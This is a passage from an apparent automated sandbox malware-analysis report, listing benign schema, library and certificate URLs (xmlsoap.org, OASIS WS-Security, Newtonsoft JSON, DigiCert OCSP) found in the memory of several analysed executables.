Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: SETUP_~1.EXE, 00000026.00000002.936440874.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json(Unexpected
Source: SETUP_~1.EXE, 00000026.00000002.936440874.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json2IsSpecified
Source: SETUP_~1.EXE, 00000026.00000002.936440874.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.935643354.0000000002D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/jsonlCould
Source: ffnameedit.exe, 0000001F.00000002.911963203.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.ado/1
Source: ffnameedit.exe, 0000001F.00000002.911963203.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: ffnameedit.exe, 0000001F.00000002.911963203.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.16.dr, mozglue.dll.16.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: ordo_sec666.exe.1.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: ordo_sec666.exe.1.dr	String found in binary or memory: http://s.symcd.com06
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
